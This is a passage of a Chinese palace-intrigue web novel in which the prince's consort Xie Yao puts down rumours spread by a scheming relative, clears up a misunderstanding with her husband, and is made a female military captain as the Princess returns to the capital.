许素素拧起眉头,眼神渐深。 她在成佛寺禅房生的阿窈,孩子早产,身边只有一个苏嬷嬷。 生产之时,她精疲力尽,昏迷了半个时辰。 一个不敢置信的猜测,渐渐在许素素心头浮现。 可不论如何…… 谢窈,都是她的女儿。 * 另一边,谢窈让人给秋水收了尸,刚回王府,齐嬷嬷就面露焦急地迎上来。 “王妃,您可回来了。” 齐嬷嬷压低声音:“这几日,王爷并未住在扶光院,王府的下人们议论纷纷,都说您不受宠,还说……” 谢窈接过棠心端来的茶,眼神淡然:“还说什么?” 齐嬷嬷:“说您和王爷至今没有圆房,再这样下去,院中下人怕是要怠慢您了。” 谢窈品了一口茶,指腹摩挲着杯沿。 她钓的鱼,上钩了。 这些流言,看似是下人间的闲言碎语,实则一定有人故意引导。 目的是让她在府中抬不起头,变得人人可欺。 流言的源头,就在扶光院,不然,别人也不会知道她和萧熠之圆没圆房这样的事。 谢窈看向棠心:“你来说。” 棠心道:“那日,小芸被奴婢掌嘴,王妃交代奴婢盯紧她和其他丫鬟,奴婢亲眼看见,她跟周夫人院中的丫鬟琪儿交谈。” 她面沉如水,即便琪儿从前跟她情同姐妹,可既然是王妃交代的事,她也不敢隐瞒。 但她也不愿添油加醋,而是极有分寸地补充:“此外,小芸连续两日都去了三房院里,倒没再和琪儿说话,想必扶光院的流言和王爷王妃的私事,都是她泄露给三房的。” 三房?周夫人? 谢窈这倒是意外了。 说曹操曹操到,院外,一个熟悉的丫鬟求见。 “王妃,奴婢有要事相报!” 周夫人身边的丫鬟琪儿抿了抿唇,进门就跪到谢窈面前。 “府里的流言,不是我们夫人传的!” “奴婢前几日,曾安慰过您院中的丫鬟小芸,却发现小芸对王妃多有不满,后来,又发现小芸去见了小周夫人,我家夫人怕再被小周夫人陷害,所以特意让奴婢来告知王妃。” 今日一早,周夫人也听到了王府的流言,再听琪儿念叨起这件事,她忽然明白,自己又要被儿媳陷害了。 她赶紧让琪儿过来澄清。 谢窈看着琪儿慌张而认真的样子,心中了然。 “我知道了。” 琪儿连忙又问道:“我家夫人还问,明日她能来扶光院,跟您学武功吗?” 谢窈弯起唇角。 自己深陷失宠流言,周夫人却主动前来交好,是在告诉别人,不管王爷待她如何,三叔母还认她这个王妃。 不至于是雪中送炭,却也是一片好意。 “你回去跟三伯母说,我明白她的心意,不会误会她的。” “是,奴婢多谢王妃体恤。”琪儿松了一口气,退了出去。 齐嬷嬷:“老奴这就把小芸揪出来!” 棠心也附和:“王妃,小周夫人欺人太甚,咱们不能这么算了。” “当然不会。” 谢窈站起身,理了理裙摆:“走,去见老夫人。” 她带着棠心,到了凝辉院。 院中很是安静,只有罗嬷嬷在廊下候着。 看见她,刘嬷嬷行礼道:“王妃,老夫人知道您会来,已经备了晚膳,您进去一起用吧。” 谢窈走进内室,晚膳已经摆好,萧老夫人坐在主座:“小阿窈,坐吧,陪祖母吃顿饭。” 她入了座,见桌上都是自己爱吃的菜式。 从前,谢窈从没有陪谢老夫人用过一顿饭,因为谢老夫人见到她,只会讥讽厌烦。 而萧老夫人看着她,却眼神温和。 “这雪梨汤甜丝丝的,甚是好喝,小阿窈快尝尝。”萧老夫人说着,让罗嬷嬷给她盛。 罗嬷嬷:“您是自己也想喝吧。” 萧老夫人:“哎呀,谁不喜欢喝点甜的。” “那孙儿喝一盅,给祖母剩一盏吧。”谢窈弯眸道。 她陪着萧老夫人,用完了一顿晚膳。 老夫人对她和萧熠之到底有没有圆房这件事,没提一个字。 萧老夫人这些日子听闻了谢家的事,知道谢窈的父亲,文昌伯宠妾灭妻,偏爱庶女,侵吞许家陪嫁,她一想就觉得心疼。 她说道:“小阿窈,你来找我,是想让我处理府中流言?既然如此,那我将罗嬷嬷交给你,谁造的谣,不必留情,直接杖责五十,发卖出去,敢欺负我孙媳妇,就别怪我心狠。” 谢窈:“祖母,我不是想请您出面,而是想知道,您当初请皇上为王爷赐婚,除了王爷确实到了娶妻的时候,还有别的原因吗?” 萧老夫人一怔,蓦地笑了:“好,好孩子,有魄力。” 身后的棠心一脸迷惑,不知老夫人这话是什么意思。 萧老夫人:“我就知道小阿窈冰雪聪明,能看懂我的心思。” 棠心更迷茫了。 萧老夫人开门见山:“小周氏怀了孕,从前,她又做出过把阿嵘当男孩养的荒唐事,我知她要是再生下三房嫡子,更会不安分,所以才进宫求见皇上,为熠之赐婚。” “熠之身体不便,是我们萧家有福气,能娶到你这样好的媳妇。” 谢窈垂下眸,萧老夫人为王爷求旨赐婚的原因,和她想的一样。 在已逝的萧家老侯爷和活着的三儿子之间,萧老夫人没有有失偏颇,坚定地选择了长房。 担心长房式微,三房过于强盛,她就亲自进宫,给王爷找位王妃。 至于王爷…… 谢窈的凤眸沉了沉。 虽然她还在怀疑萧熠之和南淮大街那处宅院的关系,但她,是他的王妃。 “祖母,既然如此,那我就不客气了。” 萧老夫人看着她,眼神带着信任,笑意盈盈:“王府的掌家钥匙交给了你,以后后宅之事,你便不必顾及任何人,包括我。” 谢窈起身,向萧老夫人深深鞠躬:“孙媳明白。” 王府的后宅,既然她管了,也该彻底换成她的名字了。 回到扶光院,谢窈唤来棠心和齐嬷嬷:“堂嫂不是喜欢传播谣言吗,去,找几个最爱嚼舌根的丫鬟,将二公子身边书童砚方,和蒋家表小姐,在后花园厮混的事传出去。” 小周夫人的表妹,本是小周夫人找来,借住王府,要给堂兄萧文远做妾的。 结果还没进门,就被她和王爷在后花园,撞见了一场活春宫。 第180章 学会知足,谢窈长嘴询问 谢窈将之前,自己和萧熠之看见的情景说了出来。 齐嬷嬷眼前一亮:“小周夫人造谣王妃,而王妃说的,却是板上钉钉的事实!此事传出去,不仅能让小周夫人自顾不暇,堵住府上那些流言,还能帮周夫人拿捏住她儿媳——找来这样的女子给自己儿子做妾,实在是丢人!” 棠心领了命,立即去安排。 仅仅一个晚上,消息就传遍王府。 有了这么劲爆的留言,谁还关心王妃受不受宠。 就算再不受宠,老夫人把掌家钥匙给了王妃,王妃都是王府后宅的主人。 周夫人听到此事,让琪儿带人,直接去砚方房中查看,还真找到一条女子的肚兜,两盒蒋家表小姐平日爱用的香粉。 她勃然大怒:“来人,给我将砚方抓住,杖毙!” 就要将砚方按住,蒋家表小姐主动跑了出来,护在砚方身上,哭得梨花带雨。 小周夫人扶着肚子赶来,见到这一幕,差点晕过去。 “周芙,这就是你给文远找的妾室!”周夫人叉着腰,脸色铁青地呵斥。 “现在全王府都知道她和书童做出丑事,三房的脸,都被你丢尽了!” 萧文远赶来,看到抱在一起的砚方和蒋家表妹,更是眼前一黑。 他倒是知道,蒋家表妹本是云州人士,家中父母双亡,半年前来京城投奔他夫人,借住在了萧家。 夫人有意让自己纳她为妾,但自己见夫人怀有身孕,打算婉拒,没想到发生了这样的事。 “你……夫人,你这表妹宁可和王府书童厮混,也不愿做我的妾室,传出去,我的脸往哪搁啊。”萧文远头疼地说。 这时,谢窈带着人,来到三房院门口。 她的身后,是四名扶光院的丫鬟,还有七两带来的王府护院。 谢窈缓步走进院中,目光扫过蒋家表姐和砚方,最后看向小周夫人。 “堂嫂,你纵容蒋家表妹与下人厮混,做出秽乱王府之事,从今日起,禁足院中,闭门思过,不得踏出院子半步。” 小周夫人猛地抬起头:“不,凭什么,做出丑事的是蒋雨柔和砚方,王妃凭什么将我禁足?” “凭这里是靖北王府,而我,是靖北王妃。” 谢窈声音清亮,带着不容置疑的威严,眼神锐利如芒。 她的话说完,七两就带护院上前。 周夫人:“对,将她看关起来,没有王妃的命令,不得擅自出院!” 小周夫人看见围上来的护院,心里终于慌了。 她红着眼看向萧文远,想让自己夫君求情。 一阵轮椅滚动的声音传来。 身着玄色蟒袍的王爷,坐在轮椅上,由白术推进院。 “王爷,王爷!” 小周夫人像是看到救星:“我冤枉啊,我也不知表妹会和砚方做出这种事——” 她说到一半,忽然停顿下来。 王爷身后,白蔹侍卫拎来一个五花大绑的丫鬟。 丫鬟正是小芸。 “王爷饶命,王妃饶命!” 小芸被丢到地上,根本不需要审问,就哭着磕头,交代了一切:“是小周夫人让奴婢传的谣言,奴婢也是被逼的!” 小周夫人脸色骤变:“住嘴!” 下一刻,萧文远上前,拉着她跪了下去。 膝盖落地,发出沉重的闷响。 他看明白了,一切是自己夫人在作妖。 “王爷是萧家家主,王妃执掌王府后宅,有权处置周氏,是我不好,纵容妻子,致使她心怀不轨,指使下人诋毁王妃,只求王爷王妃,念在她还怀有身孕的份上,饶过她这一次,我愿替她受罚。” 萧文远说完,深深地跪拜下去。 一旁,小芸还在哭喊。 “聒噪,”萧熠之语气平淡,桃花眸森冷而幽深,“带下去,杖刑一百。” “不要,不要啊!” 小芸又要大叫,白蔹直接将她敲晕,让人拖了出去。 小周夫人震惊地望着小芸,浑身瑟瑟发抖,再也不敢辩解。 她这才想起来,眼前的男人,不仅是自己丈夫的堂弟,更是萧家家主,大燕靖北王。 他的手上,沾满了鲜血。 萧文远也害怕,可他还是鼓起勇气,望向谢窈。 “王妃,求您饶过周氏这一次,我愿举家搬出王府,不管周氏生下的孩子是男是女,都只是萧家人,但与靖北王府无关。” 小周夫人呆住了:“萧文远,你要搬出王府?!” “是。”萧文远看着她,心又软了,轻轻点了点头。 周夫人本想阻止,可又想到了什么,长叹一声:“搬出去也好,待成肃回来后,我跟他说。” 大儿子萧文远,自幼不算出色,侄女小周氏却是个八面玲珑的姑娘。 从前,她想着,有人管儿子也好,所以才为儿子娶了她。 刚入府那两年,王府是侯府,三爷还没做到三品官员,儿子只是个芝麻小官,小周氏却兢兢业业,毫无怨言。 然而,有些人注定可以共患难,却不能同富贵。 萧家因王爷而显赫,却滋生了小周氏的野心。 留在靖北王府,小周氏的性子,早晚会酿成大祸。 “堂兄起来吧,”谢窈看着跪在地上的萧文远,道,“既然堂兄为堂嫂求情,那如此便好。” 萧家人,待她都很好。 唯一的麻烦,就是小周夫人。 萧文远要带着妻妾与三房分家,那么从此,再也不会有人能威胁到萧熠之的位置。 这也是萧老夫人想做的事。 “是,”萧文远站起来,向她深深一拜,语气释然,“多谢王妃成全。” 小周夫人彻底瘫在地上,仰头盯着自己夫君,眼神空洞。 离开王府,她只是个六品官员的夫人,再也无法肖想靖北王府的一切。 萧文远和周夫人,再对着谢窈和萧熠之拜了拜。 他亲自将小周夫人搀扶起来,柔声道:“夫人,其实我从没在乎过萧家的权势,人贵在自知,我这一辈子,已经过得比大多数人好很多了,经此一遭,夫人也该学会知足。” 小周夫人沉默着,两行清泪落下。 谢窈转向几个传播谣言的丫鬟:“你二人搬弄是非,杖责二十,罚去杂役处。” “蒋家表妹,哪来的回哪去,永不许踏入京城。” “砚方杖责五十,逐出王府。” 下人们无一反驳。 从今日起,萧家后宅彻底安稳。 王爷看着王妃发号施令,唇角噙着一抹不易察觉的笑。 众人暗道,王爷亲自揪来罪魁祸首,就是为了给王妃撑腰,王妃这叫不受宠? “回去吧。”萧熠之说道。 白蔹刚想推轮椅,却被王爷瞪了一眼:“你一边去。” 白术直接机智地转身离开:“王爷,属下去将东西,送去扶光院。” 萧熠之点了点头,继续看自己王妃。 美人如玉,越看越好看。 谢窈只好走上前,握住轮椅的扶手:“我送王爷回去。” 王爷没说话,唇角的笑意加深。 两人沿着回廊慢慢走着,谢窈忽然停下脚步。 “王爷,我有件事要问你。” 第181章 误会解除,主动交心 萧熠之看向她:“什么事?” “王爷这几日,究竟在忙什么?”谢窈走到他面前,询问。 萧熠之凝视着自己王妃,耳根忽然一热,俊美的脸庞浮现出绯色。 “你很快就知道了。” 谢窈深吸一口气,强行按下心中的怀疑。 因为前世被陆慎言欺骗,重生后,她不愿信任任何人。 可此刻,她想信萧熠之一次,再次直言:“那我换个说法,王爷,南淮大街丙号院的房主,是你吗?” 昨日,谢窈已经查过大婚之夜,靖北王交给自己的私产箱子中的产业。 并没有这处宅子。 她索性直接向靖北王询问。 萧熠之觉得这个地址有些耳熟,想了想,这和王妃外祖父的别院在一条街。 谢窈迎着他有几分疑惑的目光,身侧的手已经悄然攥成拳,轻轻说道: “在和王爷的大婚之夜,我曾潜入谢明安书斋内的密室,找到了他向朝中官员行贿的账册,他在账册内写明,他一尊玉佛的行贿对象,就是南淮大街丙号院的房主。” 她呼吸沉重,心想,不管是什么也好,不要骗她。 萧熠之怔住,终于明白谢窈问自己忙不忙,是因为此事。 他还以为王妃发现自己这几日没住在扶光院,跟自己调情呢…… “叫白术过来,带上五王之乱时的账册。”他对跟在后面的白蔹喊。 很快,白术赶来。 王爷问道:“南淮大街丙号院,什么时候成了本王的产业?” 他毫不怀疑谢窈话语的真实性,若有问题,就解决问题,藏在心里不说,对方如何能够知道。 白术怔了怔,连忙翻开账册。 五年前,皇上登基之初,王爷率兵平定五王之乱,不仅是杀了五位亲王,更是将其抄家。 那时,王爷获得皇上太后许多赏赐,更有五个亲王的一些私产,也被赏给王爷。 但这些不光彩的东西,成了朝堂上监察御史口中,弹劾王爷的说辞。 所以之前王爷将自己私产交给王妃时,并未交出这部分。 王妃这是,发现王爷的私房钱了? 白术找到这处宅院的记录,回禀:“王爷,南淮大街丙号院,是五年前查抄废睿亲王家产时,陛下让您‘留’下的。” 谢窈已经看见账册上睿亲王李钧的名字,再结合王管事说的,谢明安行贿是六年前的事。 那时,睿王还活着,没有造反,并且权倾朝野。 她隐隐明白了怎么回事。 白蔹主动说道:“王妃有所不知,当初王爷原本要将所抄产业上交,是皇上暗示王爷,王爷才将五王一些产业据为己有,对外,这些产业就成了王爷贪墨的证据。” 萧熠之桃花眸深邃:“本王确实私吞了五王的一些产业,你所说的宅院,也的确在本王名下,本王,无话可说。” “原来,王爷是为了自污。” 谢窈的眼底一片清寒冷冽,声音沉了下去,唇角,浅浅地上翘。 “也就是说,谢明安真正行贿的人,是反贼睿王。” 睿王李钧,是五王之乱之首,先帝二皇子,皇上最痛恨之人。 都过去了五年,还屡屡有人打着睿王旗号起兵,说皇帝得位不正,睿王才是先帝的传位对象。 她的爹……给睿王行过贿。 甚至说不定,在睿王造反的时候,也暗中给予过支持。 这是抄家灭族的大罪。 可真是很刑啊。 萧熠之看着她的神色,轻声道:“其实本王这些日子很忙,有两件要事,一是年关将至,京中来了很多西戎探子,本王想抓住他们,追查母妃的下落。” 王爷的桃花眸低垂,眼底掠过一丝黯淡。 谢窈主动将误会告诉自己,是她第一次,跟自己敞开心扉地交心。 那自己,也不愿向他的妻子隐瞒。 夫妻之间,可以有各自的秘密,但萧熠之不愿他们之间,有因为没长嘴解释而造成的误会。 这次,换成了谢窈愣住。 白术忽然咳了咳,猛地拉扯白蔹衣袖。 白蔹:“你拦着我,我也要说。” 白术:“……我没拦着。” 有没有一种可能,他是看到王爷主动提了,想让白蔹说呢。 “王妃,王爷的母妃靖宁夫人,不是病逝,而是在两年前,跟着盛月小公主,被西戎人掳走的。”白术说道。 “岐江之战,王爷之所以率兵追逐,是为救回靖宁夫人,追到岐江时,前任京畿营统领秦将军,被西戎拦截战死,王爷没了援军,这才身受重伤……属下等人,在岐江捞了七天七夜,才找到王爷。” 谢窈终于完整地知道了岐江一战的前因后果。 她看过岐江之战的战报,八百京畿营骑兵,对战五千西戎人,死战不降,战至最后一人。 但如果不追,王爷本可以避免那场战役。 如今她明白了,萧熠之,是为了自己的母妃。 她的脑海中不由自主,浮现出战场的情景。 鲜血将江水染红,他身边的人一个个倒下。 杀尽敌人后,没有援军,岐江又在燕国边境,靖北王无法判断先来战场的,是西戎人还是燕国人,所以主动投江。 他宁愿死无葬身之地,也不愿将尸体留给西戎。 萧熠之和自己一样,都是追寻着母亲的人。 谢窈心里发堵,她想做点什么。 她蹲下身,捡起一根树枝,在地上勾画起来。 萧熠之目光落下,忽然发现,谢窈画的,是当年他从京城追到岐江,以及岐江周围道路的路线图。 “王爷,你有没有想过,靖宁夫人或许并没有被西戎人带走?”谢窈很快画完,仰头道。 萧熠之眸色微凝:“本王想过,但不敢想。” 谢窈指着地图上王爷行军的路线,分析道: “你当年率兵追追击,第一时间就追回了胜月公主,却没找到靖宁夫人,这证明西戎人掳走夫人后,兵分了两路。” “根据当时情况,西戎人沿途峡谷设伏,截杀回援的秦将军,又有西戎三王子带的五千伏兵,他们的主力都是明牌,且西戎人面貌与中原人大不相同,那带着靖宁夫人逃走的队伍,人数上一定很少——” 谢窈和萧熠之深邃的桃花眸对视,眼中是让人信服的力量。 她顿了顿,说:“如果,靖宁夫人抓住机会,自己逃走了呢?” 第182章 吾道不孤,长公主回京! 萧熠之看着地上的地图,瞳孔微缩。 谢窈明明没有经历过岐江之战,这条线路,却画的比他军报上交代的,还要细致准确。 他一直知道自家王妃武功很好,在北境边军中,能跟虎贲将军苏怀恩称兄道弟。 却没想到她这么懂行军之事,还精通地形。 她的话,激起萧熠之心中的涟漪。 萧熠之何尝没想过,母妃一定还活着,她从西戎人手中逃走了。 可如果她还活着,快三年了,为何不来寻他? “还有。” 谢窈语气出奇的冷静。 “王爷是大燕靖北王,夫人若在西戎人手里,就是用来威胁你的最好筹码,可两年来,西戎人并未提过夫人,要么是他们也不确定夫人的生死,要么——” 听到这里,白术和白蔹呼吸一窒。 王爷曾不让任何知情之人,在他面前,提出靖宁夫人或许已死的可能。 两人的心都提起来,紧张地望着谢窈。 就听王妃坚定而从容地说:“活着的靖宁夫人,对西戎人来说,远胜于过世的她,若夫人真的已经过世,西戎也早该拿出尸首挑衅,可他们没有,这证明,夫人一定还活着。” 关于靖宁夫人的生死,谢窈心里,还有一个想法。 只是这件事,需要去证实。 萧熠之听到谢窈的话,内心震动。 所有人都说母妃死了。 哪怕他身边为他追查的亲信,也只是因为他的命令,心里,或许同样认为他执拗偏执。 “索性有你,吾道不孤。” 萧熠之望着谢窈明亮的眼眸,声音低沉而温柔。 谢窈的心乱了。 她意识到,不知不觉,她已经和萧熠之,成了一条路上的并肩同行的人。 她努力按下心中的悸动,推动王爷的轮椅,回到扶光院。 进了屋,谢窈一眼就看见,桌上摆放着一盘精致可口的桃花酥。 萧熠之的脸热起来,说:“本王不善庖厨,只能试了又试,才做好一盘酥,还望王妃不要嫌弃。” 谢窈在王爷期待的目光在,拿起一块尝了尝,品出了甜味,喃喃:“这就是王爷说最近在忙的另一件要事?” 萧熠之:“这很重要。” 谢窈清晰感受自己心跳飞快。 这次,再也无法控制。 当日傍晚,萧三爷回府。 在周夫人口中得知白天发生的事之后,他准许了萧文远携妻子妾室以及自己的孩子,搬出王府的决定。 三房分家,一连几日,三伯母都来扶光院看谢窈练刀,顺便在王妃带领下,勤加锻炼身体。 没有儿媳之后,她气色好多了,直接年轻了十岁。 * 大寒已过,一年将尽。 西戎和魏国的使团,赶着年前进了京。 大燕乃当世第一强国,面对两国使团,皇上并未露面,只是派礼部简单接待,派出的都不是礼部尚书何大人,而是礼部侍郎谢明安。 皇上忙着做的,是另一件事。 腊月二九,是沈皇后冥寿。 皇上追封生母沈皇后为羲和太后,改羲和太后创建的健妇营旗号为——羲和营。 加封长公主封号镇国,并让长公主观风吏部,独立于吏部官员,做吏部督查女官。 因为沈皇后曾领兵打仗,燕国一直就允许女子从军做官,但即便做官,也只做些没有实权的女官。 皇上的举动,掀起轩然大波,但皇上力排众议,靖北王也在上朝时表示赞同,文武百官只能同意。 镇国长公主府邸,已于上月竣工落成。 一直在成佛寺为燕国和沈皇后祈福的长公主,回京了。 皇上为表重视,圣驾来到城门,满朝文武皆前来迎接长公主。 素来不参与这种场合的靖北王,也携王妃前来。 凤驾未至,城门处已经热闹非凡。 百姓们挤在街道两侧,踮着脚张望,身着金甲的皇宫禁卫手持长槊,队伍整齐,守护着中间的圣驾。 除了皇上乘坐龙辇,年迈的江老丞相被赐座,只有靖北王和靖北王妃,坐在马车内。 “皇上追封羲和太后,又给长公主加了封号,还让她观风吏部,是打算削弱太后一党。”萧熠之坐在轮椅上,从容地说道。 谢窈若有所思:“皇上是想扶持健妇营,不,现在已经改为羲和营了,他要拉长公主制衡太后,让所有人都知道,燕国的江山姓李,不姓江。” 太后身后是丞相江家,江老丞相门生遍布朝堂,除了礼部尚书和刑部尚书,其他四部之首,可以说要么是江老丞相的弟子,要么直接是江家人,要么也受过丞相提拔。 曾经,江家与太后支持皇上登基,双方关系亲密无间。 可五年过去了,皇上身下没有皇子,太后幼子安平侯却快要及冠,太后与皇上之间的关系,就越发紧张起来。 不过,双方并没有到撕破脸的程度。 其中最大的原因,是安平侯本人纨绔好色,实在不争气,而且除了行事荒唐,他并没有野心。 恐怕江家和太后,都对安平侯恨铁不成钢…… 外面传来太监通报的声音,长公主即将进城,萧熠之和谢窈也下了马车。 龙辇之上的皇帝,对长公主翘首以盼,他身边跟着庆公公。 庆公公注意到王爷下车,低声道:“陛下,为靖北王推轮椅的女子,就是靖北王妃。” “如晦的王妃,朕还没见过呢。”皇上悄然看向谢窈。 今日谢窈一身较为正式的黑红翟衣礼服,发间是金凤簪,款式简单,凤尾衔着的珍珠温润光华,在日光映照下,于容颜投下细碎的光影,整个人冷艳不可方物。 皇上“咯噔”一声,倒不是心动,而是对绝色美人的欣赏。 他想起年幼时记忆里的皇姐长公主,谢窈的容颜,和被称为大燕第一美人的皇姐相比,也不逊色。 想到自己今日要做的事,皇上喃喃:“这样的美人,难怪长公主喜欢,朕看了也喜欢。” 庆公公吓得浑身一阵,惊恐地看了眼皇上,又看了眼靖北王。 虽然他知道,皇上的“喜欢”,应该指的是对王妃的称赞,但还是很吓人啊陛下。 幸好靖北王离得远,听不见。 皇上咳了咳,没解释。 此刻,谢窈目光扫过不远处。 身穿绛紫官服的江老丞相,坐在朝臣首位,正面露不虞地盯着安平侯,和身旁的户部尚书低语些什么。 安平侯立在江老丞身侧,没有之前的狂傲,反而透着几分唯唯诺诺。 他一身宝蓝色常服,身形比之前消瘦许多,额头还能看见淡淡的疤痕。 安平侯旁边,侯夫人江丛嫣身穿素雅精致的侯夫人衣裙,脸色苍白。 她不经意地抬眸,看见了谢窈。 骤然间,江丛嫣眼中放出异样光彩,却不知想起来什么,眼神又黯淡下去。 上次成佛寺后,江丛嫣说要跟安平侯和离,却没了消息。 听说,太后不愿安平侯与妻子和离,安平侯更是不同意,和离的事,也只能不了了之。 看她的面色,她在侯府过得很不好。 “前面有动静了!”人群里传来一声呼喊。 谢窈抬眼望去,见一列华贵的仪仗,拥护镇国长公主的凤驾,缓缓驶来。 “皇上驾到——” 庆公公尖细的声音响起,除了靖北王,所有人都跪下去,齐声喊道:“吾皇万岁万岁万万岁。” 皇上下了龙辇,走到最前面,让众人起身免礼。 这时,谢窈趁机后退几步,来到同样远离安平侯的江丛嫣身边。 江丛嫣凝望着谢窈,眼眶慢慢红了起来。 “谢窈,我不想死,你能救救我吗。” 她声音颤抖地说。 “太后,要杀了我。” 第183章 任命女校尉,侯爷遇刺真相 谢窈心里一沉,拧起眉头。 “侯夫人为何这么说?” “前些日子,只因我执意和离,太后便在宁寿宫,当着我和李钰的面,让李钰写放妻书,然后再从江家新选一位适龄女子与他成亲,做新的侯夫人。” 江丛嫣拉住谢窈的手,瞥了一眼李钰,眼底是深深的厌恶和恐惧。 “可李钰不同意,他在太后面前说,他此生只有丧妻,绝不写放妻书。” 她回想起当时的情景,李钰通红着眼睛,执拗地盯着自己,眼中带着卑微的乞求:“姐姐,你不要我了吗。” 回了侯府之后,他一刀,杀死了一个出言嘲讽自己的妾室。 江丛嫣只感到一阵漠然。 她实在不知,李钰如今做出的深情,给谁看。 “前几日,我让贴身丫鬟回江家,求祖父和父亲帮忙,可丫鬟看见父亲将念惜送去宁寿宫,还从熟人那得知,太后欲给庶妹念惜县主之位,毫无疑问,念惜就是等我死后,代替我的下一任安平侯夫人。” 谢窈挑起眉,江念惜?那是江丛嫣的庶出妹妹,前世并没有嫁给谢宴或谢成柏,也没有成为什么县主。 江丛嫣呼吸沉重:“我让丫鬟再回江家求见母亲,确认此事,没想到……第二天有人来报,我的丫鬟,说是摔了一跤,死了。” 谢窈感受到,她的手,已经变得冰凉。 江丛嫣执意和离,安平侯又说只要她活着,就不会和离,导致太后决定,将这个不听话的侄女除掉。 江丛嫣强忍着眼泪,她这时才发现,自己贵为县主,丞相嫡孙女,安平侯夫人,可实际上举目无亲。 她只是想要和离而已,为何这么难。 她的亲人,要杀了她。 她的夫君,背叛了她。 她能求的人,竟然只有一个只见过三面的谢窈。 谢窈垂下眸,想着前世。 三日后,除夕,是安平侯遇刺的日子。 陆慎言替安平侯挡箭后,其实除了扬名,并没有得到什么好处。 刺杀安平侯的人,御鹰司调查了许久,只得出一个睿王余孽的结果。 不知谁流传出言论,是皇上忌惮安平侯,派出的杀手,所以御鹰司才什么也查不到。 这个传言,让安平侯彻底走到了皇上的对立面。 陆慎言是安平侯的救命恩人,得到江老丞相和太后的赏识,明面上成了太后一党。 而背地里,他在自己的提醒之下,发现刺杀的不对劲,将真相暗中告知皇上,皇上记了他的功劳。 左右逢源之下,陆慎言仕途顺畅,短短两年,就从白身,官至吏部侍郎。 这一次,谢窈提前知道了安平侯被刺杀的真相。 她可以将计就计,借此事为母亲与谢明安和离,增加一枚绝对的筹码。 可现在听江丛嫣的话,太后准备将她解决? 前世安平侯被刺杀时,她没事。 但前世江丛嫣,也没想过和安平侯和离。 谢窈回过神:“江丛嫣,若我救你,需要你背叛江家,背叛太后,你是否愿意?” 江丛嫣和她对视,苦涩一笑:“江家人不把我当做江家人,我为何还要把他们当做至亲。可惜,口说无凭,王妃不会信我。” 谢窈:“我确实不相信你,但救与不救,不在我相不相信,而在你值不值得我救。” 江丛嫣眼神一凝,忽然道:“我愿用命一试,证明自己绝无欺骗之意。” “你要如何试?” “太后不可能在侯府杀我,那会让李钰背上杀妻嫌疑,影响他的名声。而我三日后,会求李钰带我去云鹤楼,太后,一定不会放过这个机会。” 她语气决然,带着鱼死网破的决心。 “王妃若不信我,我世上再无任何可以乞求之人,这条命,也就不再垂死挣扎了。” 谢窈听懂了江丛嫣的意思——她无法证明自己的话是真是假,只能主动把自己置于危险之中。 谢窈可以选择救,或不救。 “我知道了。” 她说道,并未给江丛嫣答案。 此刻,钟鼓声停止,身着龙袍,俊朗年轻的皇上,亲自走到长公主凤驾前。 无数人目光望去,只见长公主一身赤金绣凤的宫装,手腕戴着串温润的佛珠,凤眸凌厉,面容昳丽,风华绝代。 “皇姐终于舍得回家了。”皇上说道。 长公主淡淡地瞥了他一眼:“是你,终于舍得让母后魂有所依。” 这言语中的抱怨意味,让皇上讪讪一笑。 长公主的目光扫过他身后的众人,忽然开口,声音清亮:“谢窈何在?” 此话一出,周围顿时寂静。 谢窈从人群中走出,屈膝行礼:“见过长公主殿下。” 长公主越过皇上,上前扶起她:“你与靖北王大婚,本宫并未亲自祝贺,今日便补上,愿你二人琴瑟和鸣,万事顺遂。” 无数窃窃私语声响起,连百姓见此,也惊讶又好奇。 谁也没想到,归京后久居佛寺,几乎从不公开露面的长公主,回京后第一件事,竟是特意祝福靖北王妃。 江老丞相皱起眉头,眼底闪过一丝冷意。 安平侯更是面色阴沉,忌惮地望着她。 谢窈与萧熠之一起,向长公主谢了恩。 皇上见此,唇角的弧度上扬。 他本就想拉拢长公主,制衡太后,皇姐既然看中谢窈,那更方便他顺水推舟,给谢窈一个体面。 说不定,还能把中立的如晦,也拉到自己的阵营中。 一念至此,他扬声道:“谢窈,朕听闻你曾在边境羲和营从军,胆识过人,此前又替皇姐和朕,教训了李钰这不争气的弟弟有功,朕便任命你为羲和营正六品校尉,若有战事,你可统领八百羲和营女卒,策应边军。” 皇上清朗的声音,传遍四周。 众人震惊地看向谢窈,围观百姓则露出激动的神色。 大燕有羲和太后领兵的先例,女子本就可以从军为官,但话虽如此,除长公主,还没有过什么有品阶官位的女子。 谢窈回京后,嫁给靖北王的盛世大婚,替母亲要回陪嫁时的决绝,还有成佛寺替长公主将安平侯打得半死,她的名字,早就传遍京城。 听到她被任命为羲和营校尉,这些百姓,都特别亲切。 这可是大燕有史以来,第一位女校尉! 户部尚书张了张口,正要反驳,被江老丞相用眼神制止。 今日是长公主回京的日子,没人敢触皇上霉头。 这个任命,在意料之外,却也在情理之中。 谢窈上前一步,身姿挺拔,声音清冷:“多谢陛下恩典,臣谢窈,定不负陛下和长公主所托!” 萧熠之望着身侧的王妃,桃花眸中笑意渐深。 众人议论纷纷之时,她目光扫过御道一侧远处。 那里,是一列十来人的异族队伍,人人都穿着兽皮袄,腰间别着骨质的匕首。 是进京的西戎使团,西戎人游牧为生,喜欢用骨头做的兵器工具。 前世,陆慎言身中一箭,还中了几枚飞镖,其中一枚,是骨镖。 谢窈发现了飞镖的不对劲,因而推测,安平侯遇刺,既不是睿王余孽,也不是皇上暗害。 是太后联合西戎人,自导自演,想让不争气又没野心的安平侯,彻底与皇上决裂。 谢窈眼中闪过一抹幽光,这次,她就看着太后与虎谋皮,顺势而为。 毕竟不这样,陆慎言怎么会…… 再次断子绝孙呢。 第184章 本宫女儿活着,也有她这么大 迎驾结束,皇上又道:“皇姐,朕已经在宫中准备了宴席,不如与朕同乘回宫。” 长公主微微颔首,没有推脱。 既然她已经回京,入了这棋盘,就不会逃避。 庆公公又跟百官道:“奴才已备好宫宴,各位大人可以移驾宫中了。” 靖北王忽然开口:“本王乏了,与王妃告退。” 皇上知道他的性子,今天能在城门口迎接长公主,已经是很给面子了。 他扫过靖北王轮椅上的双腿,也没拦着。 圣驾缓移,长公主坐在下首,淡淡地说:“皇帝借本宫与谢窈那丫头来挑衅太后,还让那丫头做了女校尉,是把本宫当刀使了。” 皇上语气微沉:“皇姐对朕来说,不是刀,而是自幼的庇护,是朕唯一的家人。” 长公主摇头:“当初护下你的是靖北侯府,后来帮了你的,是靖北王和江家,本宫那时候,已经人在雍国了,哪里庇护得了你。” “可皇姐已经为朕做到最好,如果没有皇姐,朕当初,也不会被江家选中。” 